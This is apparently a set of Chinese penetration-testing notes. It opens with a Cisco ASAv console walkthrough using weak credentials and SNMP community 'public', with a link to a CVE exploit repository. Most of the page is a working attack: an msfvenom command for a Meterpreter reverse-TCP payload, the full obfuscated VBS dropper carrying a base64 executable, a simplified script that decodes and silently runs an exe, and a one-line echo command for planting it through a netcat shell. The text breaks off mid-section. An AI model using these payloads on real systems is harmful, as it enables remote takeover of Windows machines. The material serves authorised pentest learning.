Device Manager Version 7.2(1)

Compiled on Thu 24-Apr-14 12:14 PDT by builders
System image file is "boot:/asa921-smp-k8.bin"
Config file at boot was "startup-config"

ciscoasa up 2 hours 25 mins

Hardware:   ASAv, 2048 MB RAM, CPU Pentium II 2793 MHz,
Internal ATA Compact Flash, 256MB
Slot 1: ATA Compact Flash, 8192MB
BIOS Flash Firmware Hub @ 0x1, 0KB


 0: Ext: Management0/0       : address is 000c.29a9.88d6, irq 10
 1: Ext: GigabitEthernet0/0  : address is 000c.29a9.88e0, irq 5
 2: Ext: GigabitEthernet0/1  : address is 000c.29a9.88ea, irq 9
 3: Ext: GigabitEthernet0/2  : address is 000c.29a9.88f4, irq 10

ASAv Platform License State: Unlicensed
*Install -587174176 vCPU ASAv platform license for full functionality.
The Running Activation Key is not valid, using default settings:

Licensed features for this platform:
Virtual CPUs                      : 0              perpetual
Maximum Physical Interfaces       : 10             perpetual
Maximum VLANs                     : 50             perpetual
Inside Hosts                      : Unlimited      perpetual
Failover                          : Active/Standby perpetual
Encryption-DES                    : Enabled        perpetual
Encryption-3DES-AES               : Enabled        perpetual
Security Contexts                 : 0              perpetual
GTP/GPRS                          : Disabled       perpetual
AnyConnect Premium Peers          : 2              perpetual
AnyConnect Essentials             : Disabled       perpetual
Other VPN Peers                   : 250            perpetual
Total VPN Peers                   : 250            perpetual
Shared License                    : Disabled       perpetual
AnyConnect for Mobile             : Disabled       perpetual
AnyConnect for Cisco VPN Phone    : Disabled       perpetual
Advanced Endpoint Assessment      : Disabled       perpetual
UC Phone Proxy Sessions           : 2              perpetual
Total UC Proxy Sessions           : 2              perpetual
Botnet Traffic Filter             : Enabled        perpetual
Intercompany Media Engine         : Disabled       perpetual
Cluster                           : Disabled       perpetual

This platform has an ASAv VPN Premium license.

Serial Number: 9ATJDXTHK3B
Running Permanent Activation Key: 0x00000000 0x00000000 0x00000000 0x00000000 0x00000000

Image type          : Release
Key version         : A

Configuration last modified by enable_15 at 10:12:25.439 UTC Mon Sep 26 2016

如何进入特权模式?

enable可以用来进入思科配置模式。 通常,密码为空。

ciscoasa> help enable

USAGE:

    enable [<priv_level>]

DESCRIPTION:

enable      Turn on privileged commands

ciscoasa> enable ?

  <0-15>  Enter optional privilege level (0-15)
  <cr>

  ciscoasa> enable
  Password:
  ciscoasa# configure terminal
  ciscoasa(config)# ?

    aaa                           Enable, disable, or view user authentication,
                                  authorization and accounting
    aaa-server                    Configure a AAA server group or a AAA server
    access-group                  Bind an access-list to an interface to filter
                                  traffic
    access-list                   Configure an access control element
    arp                           Change or view ARP table, set ARP timeout
                                  value, view statistics
    as-path                       BGP autonomous system path filter
    asdm                          Configure Device Manager
    asp                           Configure ASP parameters
    auth-prompt                   Customize authentication challenge, reject or
                                  acceptance prompt
    auto-update                   Configure Auto Update
    banner                        Configure login/session banners
    bgp-community                 format for BGP community
    boot                          Set system boot parameters
    ca                            Certification authority
    call-home                     Smart Call-Home Configuration
    checkheaps                    Configure checkheap verification intervals
    class-map                     Configure MPF Class Map
    clear                         Clear
    client-update                 Configure and change client update parameters
    clock                         Configure time-of-day clock
    cluster                       Cluster configuration
    command-alias                 Create command alias
    community-list                Add a community list entry
    compression                   Configure global Compression parameters
    configure                     Configure using various methods
    console                       Serial console functions
    coredump                      Configure Coredump options
    crashinfo                     Enable/Disable writing crashinfo to flash
    crypto                        Configure IPSec, ISAKMP, Certification
                                  authority, key
    ctl-file                      Configure a ctl-file instance
    ctl-provider                  Configure a CTL Provider instance
    cts                           Cisco Trusted Security commands
    ddns                          Configure dynamic DNS update method
    dhcp-client                   Configure parameters for DHCP client operation
    dhcpd                         Configure DHCP Server
    dhcprelay                     Configure DHCP Relay Agent
    dns                           Add DNS functionality to an interface
    dns-group                     Set the global DNS server group
    dns-guard                     Enforce one DNS response per query
    domain-name                   Change domain name
    dynamic-access-policy-record  Dynamic Access Policy configuration commands
    dynamic-filter                Configure Dynamic Filter
    dynamic-map                   Configure crypto dynamic map
    enable                        Configure password for the enable command
    end                           Exit from configure mode
    established                   Allow inbound connections based on established
                                  connections
    event                         Configure event manager
    exit                          Exit from config mode
    failover                      Enable/disable failover feature
    filter                        Enable or disable URL, FTP, HTTPS, Java, and
                                  ActiveX filtering
    fips                          FIPS 140-2 compliance information
    firewall                      Switch to router/transparent mode
    fixup                         Add or delete inspection services
    flow-export                   Configure flow information export through
                                  NetFlow
    fragment                      Configure the IP fragment database
    ftp                           Set FTP mode
    ftp-map                       Configure advanced options for FTP inspection
    group-delimiter               The delimiter for tunnel-group lookup.
    group-policy                  Configure or remove a group policy
    gtp-map                       Configure advanced options for GTP inspection
    h225-map                      Configure advanced options for H225 inspection
    help                          Interactive help for commands
    hostname                      Change host name of the system
    hpm                           Configure TopN host statistics collection
    http                          Configure http server and https related
                                  commands
    http-map                      This command has been deprecated.
    icmp                          Configure access rules for ICMP traffic
    imap4s                        Configure the imap4s service
    interface                     Select an interface to configure
    ip                            Configure IP address pools
    ip                            Configure IP addresses, address pools, IDS, etc
    ipsec                         Configure transform-set, IPSec SA lifetime and
                                  PMTU Aging reset timer
    ipv6                          Configure IPv6 address pools
    ipv6                          Global IPv6 configuration commands
    ipv6-vpn-addr-assign          Global settings for VPN IP address assignment
                                  policy
    isakmp                        Configure ISAKMP options
    jumbo-frame                   Configure jumbo-frame support
    key                           Create various configuration keys
    l2tp                          Configure Global L2TP Parameters
    ldap                          Configure LDAP Mapping
    logging                       Configure logging levels, recipients and other
                                  options
    logout                        Logoff from config mode
    mac-address                   MAC address options
    mac-list                      Create a mac-list to filter based on MAC
                                  address
    management-access             Configure management access interface
    map                           Configure crypto map
    media-termination             Configure a media-termination instance
    mgcp-map                      Configure advanced options for MGCP inspection
    migrate                       Migrate IKEv1 configuration to IKEv2/SSL
    monitor-interface             Enable or disable failover monitoring on a
                                  specific interface
    mount                         Configure a system mount
    mroute                        Configure static multicast routes
    mtu                           Specify MTU(Maximum Transmission Unit) for an
                                  interface
    multicast-routing             Enable IP multicast
    name                          Associate a name with an IP address
    names                         Enable/Disable IP address to name mapping
    nat                           Associate a network with a pool of global IP
                                  addresses
    no                            Negate a command or set its defaults
    ntp                           Configure NTP
    nve                           Configure an Network Virtulization Endpoint
                                  (NVE)
    object                        Configure an object
    object-group                  Create an object group for use in
                                  'access-list', etc
    object-group-search           Enables object group search algorithm
    pager                         Control page length for pagination
    passwd                        Change Telnet console access password
    password                      Configure password encryption
    password-policy               Configure password policy options
    phone-proxy                   Configure a Phone proxy instance
    pim                           Configure Protocol Independent Multicast
    policy-list                   Define IP Policy list
    policy-map                    Configure MPF Parameter Map
    pop3s                         Configure the pop3s service
    prefix-list                   Build a prefix list
    priority-queue                Enter sub-command mode to set priority-queue
                                  attributes
    privilege                     Configure privilege levels for commands
    prompt                        Configure session prompt display
    quit                          Exit from config mode
    quota                         Configure quotas
    regex                         Define a regular expression
    remote-access                 Configure SNMP trap threshold for VPN
                                  remote-access sessions
    route                         Configure a static route for an interface
    route-map                     Create route-map or enter route-map
                                  configuration mode
    router                        Enable a routing process
    same-security-traffic         Enable same security level interfaces to
                                  communicate
    scansafe                      Scansafe configuration
    service                       Configure system services
    service-interface             service-interface for dynamic interface types
    service-policy                Configure MPF service policy
    setup                         Pre-configure the system
    sla                           IP Service Level Agreement
    smtp-server                   Configure default SMTP server address to be
                                  used for Email
    smtps                         Configure the smtps service
    snmp                          Configure the SNMP options
    snmp-map                      Configure an snmp-map, to control the operation
                                  of the SNMP inspection
    snmp-server                   Modify SNMP engine parameters
    ssh                           Configure SSH options
    ssl                           Configure SSL options
    sunrpc-server                 Create SUNRPC services table
    sysopt                        Set system functional options
    tcp-map                       Configure advanced options for TCP inspection
    telnet                        Add telnet access to system console or set idle
                                  timeout
    terminal                      Set terminal line parameters
    tftp-server                   Configure default TFTP server address and
                                  directory
    threat-detection              Show threat detection information
    time-range                    Define time range entries
    timeout                       Configure maximum idle times
    tls-proxy                     Configure a TLS proxy instance or the maximum
                                  sessions
    track                         Object tracking configuration commands
    tunnel-group                  Create and manage the database of connection
                                  specific records for IPSec connections
    tunnel-group-map              Specify policy by which the tunnel-group name
                                  is derived from the content of a certificate.
    uc-ime                        Configure a Cisco Intercompany Media Engine
                                  (UC-IME) instance
    url-block                     Enable URL pending block buffer and long URL
                                  support
    url-cache                     Enable/Disable URL caching
    url-server                    Configure a URL filtering server
    user-identity                 Configure user-identity firewall
    username                      Configure user authentication local database
    virtual                       Configure address for authentication virtual
                                  servers
    vnmc                          Configure VNMC params
    vpdn                          Configure VPDN feature
    vpn                           Configure VPN parameters.
    vpn-addr-assign               Global settings for VPN IP address assignment
                                  policy
    vpn-sessiondb                 Configure the VPN Session Manager
    vpnsetup                      Configure VPN Setup Commands
    vxlan                         Configure VXLAN system parameters
    wccp                          Web-Cache Coordination Protocol Commands
    webvpn                        Configure the WebVPN service
    xlate                         Configure an xlate option
    zonelabs-integrity            ZoneLabs integrity Firewall Server
                                  Configuration

如何配置cisco接口?

  ciscoasa(config)# interface ?

configure mode commands/options:
  GigabitEthernet  GigabitEthernet IEEE 802.3z
  Management       Management interface
  Redundant        Redundant Interface
  TVI              Tenant Virtual Interface
  vni              VNI Interface
  <cr>

ciscoasa(config)# interface GigabitEthernet ?

configure mode commands/options:
  <0-0>  GigabitEthernet interface number

ciscoasa(config)# interface GigabitEthernet 0/?

configure mode commands/options:
  <0-2>  GigabitEthernet interface number

ciscoasa(config)# interface GigabitEthernet 0/0

如何设置IP地址?

ciscoasa(config-if)# ?

Interface configuration commands:
  authentication   authentication subcommands
  ddns             Configure dynamic DNS
  default          Set a command to its defaults
  delay            Specify interface throughput delay
  description      Interface specific description
  dhcp             Configure parameters for DHCP client
  dhcprelay        Configure DHCP Relay Agent
  duplex           Configure duplex operation
  exit             Exit from interface configuration mode
  flowcontrol      Configure flowcontrol operation
  hello-interval   Configures EIGRP-IPv4 hello interval
  help             Interactive help for interface subcommands
  hold-time        Configures EIGRP-IPv4 hold time
  igmp             IGMP interface commands
  ip               Configure the ip address
  ipv6             IPv6 interface subcommands
  mac-address      Assign MAC address to interface
  management-only  Dedicate an interface to management. Block thru traffic
  mfib             Interface Specific MFIB Control
  multicast        Configure multicast routing
  nameif           Assign name to interface
  no               Negate a command or set its defaults
  ospf             OSPF interface commands
  pim              PIM interface commands
  pppoe            Configure parameters for PPPoE client
  rip              Router Information Protocol
  security-level   Specify the security level of this interface after this
                   keyword, Eg: 0, 100 etc. The relative security level between
                   two interfaces determines the way the Adaptive Security
                   Algorithm is applied. A lower security_level interface is
                   outside relative to a higher level interface and equivalent
                   interfaces are outside to each other
  shutdown         Shutdown the selected interface
  speed            Configure speed operation
  split-horizon    Configures EIGRP-IPv4 split-horizon
  summary-address  Configures EIGRP-IPv4 summary-address
ciscoasa(config-if)# ip address ?

interface mode commands/options:
  Hostname or A.B.C.D  Firewall's network interface address
  dhcp                 Keyword to use DHCP to poll for information. Enables the
                       DHCP client feature on the specified interface
  pppoe                Keyword to use PPPoE to poll for information. Enables
                       the PPPoE client feature on the specified interface
ciscoasa(config)#  ip address 192.168.206.114 255.255.255.0
ciscoasa(config-if)# no shutdown
ciscoasa(config-if)# exit
ciscoasa(config)# exit
ciscoasa# ping 192.168.206.1
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.206.1, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/10 ms

如何启用snmp服务?

ciscoasa# configure terminal
ciscoasa(config)# snmp-server host inside 192.168.206.1 community 0 public

如何启用启用SSH服务?

ciscoasa# configure terminal
ciscoasa(config)# username admin password password
ciscoasa(config)# aaa authentication ssh console LOCAL
ciscoasa(config)# passwd password
ciscoasa(config)# crypto key generate rsa ?            

configure mode commands/options:
  general-keys  Generate a general purpose RSA key pair for signing and
                encryption
  label         Provide a label
  modulus       Provide number of modulus bits on the command line
  noconfirm     Specify this keyword to suppress all interactive prompting.
  usage-keys    Generate seperate RSA key pairs for signing and encryption
  <cr>
ciscoasa(config)# crypto key generate rsa modulus ?

configure mode commands/options:
  1024  1024 bits
  2048  2048 bits
  4096  4096 bits
  512   512 bits
  768   768 bits

ciscoasa(config)#  ssh 192.168.206.1 255.255.255.0 inside
ciscoasa(config)#  ssh 192.168.206.137 255.255.255.0 inside
ciscoasa(config)#  ssh version 2

####如何启用Telnet服务?

ciscoasa# configure terminal
ciscoasa(config)# aaa authentication telnet console LOCAL
ciscoasa(config)# telnet 0.0.0.0 0.0.0.0 inside

链接

  1. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp
  2. http://www.cisco.com/c/en/us/support/docs/security/asa-5500-x-series-next-generation-3. firewalls/118075-configure-asa-00.html
  3. https://github.com/RiskSense-Ops/CVE-2016-6366/
  4. http://paper.seebug.org/31/

Windows_ActiveDirectory

在cmd shell中执行metasploit vbs payload

如果你是一个pentester/安全研究员,你可能希望从cmd shell获得meterpreter会话,例如:sqlmap --os-shell或其他工具。例如:

$ ncat -l -p 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.  

C:\Documents and Settings\test\Desktop>ver
ver  

Microsoft Windows XP [Version 5.1.2600]
C:\Documents and Settings\test\Desktop>

在以前,你可能会尝试下面的方法:

  • 将exe转换成批处理脚本。
  • 从远程服务器下载payload文件(ftp,tftp,http,….)
  • ……

现在,我将向您展示如何在cmd.exe中运行metasploit payload。 请尝试考虑以下问题:

  • 如何用msfvenom生成一个payload?
  • 如何以简单/兼容的方式运行payload?

如何用msfvenom生成一个payload?

$ msfvenom -p windows/meterpreter/reverse_tcp
 LHOST=192.168.1.100 LPORT=4444 -f vbs --arch x86 --platform win

 No encoder or badchars specified, outputting raw payload
 Payload size: 333 bytes
 Final size of vbs file: 7370 bytes
 Function oSpLpsWeU(XwXDDtdR)
  urGQiYVn = "" & _           
  XwXDDtdR & ""      
  Set gFMdOBBiLZ = CreateObject("MSXML2.DOMDocument.3.0")
  gFMdOBBiLZ.LoadXML(urGQiYVn)
  oSpLpsWeU = gFMdOBBiLZ.selectsinglenode("B64DECODE").nodeTypedValue
  set gFMdOBBiLZ = nothing
 End Function

 Function skbfzWOqR()
  cTENSbYbnWY = "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"
  Dim GBHMAfCsea
  Set GBHMAfCsea = CreateObject("Scripting.FileSystemObject")
  Dim nYosrMtHSIOKSTI
  Dim LNXsqHXEKZQU
  Set nYosrMtHSIOKSTI = GBHMAfCsea.GetSpecialFolder(2)
  LNXsqHXEKZQU = nYosrMtHSIOKSTI & "\" & GBHMAfCsea.GetTempName()
  GBHMAfCsea.CreateFolder(LNXsqHXEKZQU)
  YeQZhbvaLPekFW = LNXsqHXEKZQU & "\" & "QoziwORKliqRDPs.exe"
  Dim voFeIDpffjdo
  Set voFeIDpffjdo = CreateObject("Wscript.Shell")
  WwqoNcaCIbw = oSpLpsWeU(cTENSbYbnWY)
  Set WQwWDbhse = CreateObject("ADODB.Stream")
  WQwWDbhse.Type = 1
  WQwWDbhse.Open
  WQwWDbhse.Write WwqoNcaCIbw
  WQwWDbhse.SaveToFile YeQZhbvaLPekFW, 2
  voFeIDpffjdo.run YeQZhbvaLPekFW, 0, true
  GBHMAfCsea.DeleteFile(YeQZhbvaLPekFW)
  GBHMAfCsea.DeleteFolder(LNXsqHXEKZQU)
End Function

skbfzWOqR

演示:
可以把生成的payload放到服务器,然后再目标系统上执行ps代码,文章开头说的远程下载:

如何以简单/兼容的方式运行payload?

阅读代码,我们可以创建一个名为msf.vbs的简单的vbs脚本来执行shellcode。 vbs脚本可以在Windows XP / 2003 / Vista / 7/8/10/2008/2012 / ….上执行

shellcode = WScript.Arguments.Item(0)
strXML = "" & shellcode & ""
Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0")
oXMLDoc.LoadXML(strXML) decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue
set oXMLDoc = nothing
 Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempdir
Dim basedir
Set tempdir = fso.GetSpecialFolder(2)
basedir = tempdir & "\" & fso.GetTempName()
fso.CreateFolder(basedir)
tempexe = basedir & "\" & "test.exe"
Dim adodbstream
Set adodbstream = CreateObject("ADODB.Stream")
adodbstream.Type = 1
adodbstream.Open
adodbstream.Write decode
adodbstream.SaveToFile tempexe, 2
Dim wshell
Set wshell = CreateObject("Wscript.Shell")
wshell.run tempexe, 0, true
fso.DeleteFile(tempexe)
fso.DeleteFolder(basedir)

Ok, how to run it in cmd.exe ? Do you want  to paste the code line by line ?  A simple command is created as follow:

用一个简单的命令上传msf.vbs到目标系统:

echo shellcode = WScript.Arguments.Item(0):strXML = ^"^^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir) > %TEMP%\msf.vbs

用msf.vbs和cscript.exe执行metasploit payload:

C:\Documents and Settings\test\Desktop> cscript.exe msf.vbs <msf-vbs-shellcode>

绕过nc shell缓冲区大小限制

如果脚本在本地主机上的cmd.exe中使用,则一切正常。 但是,如果它在netcat cmd shell中使用,则 payload将被破坏。例如:

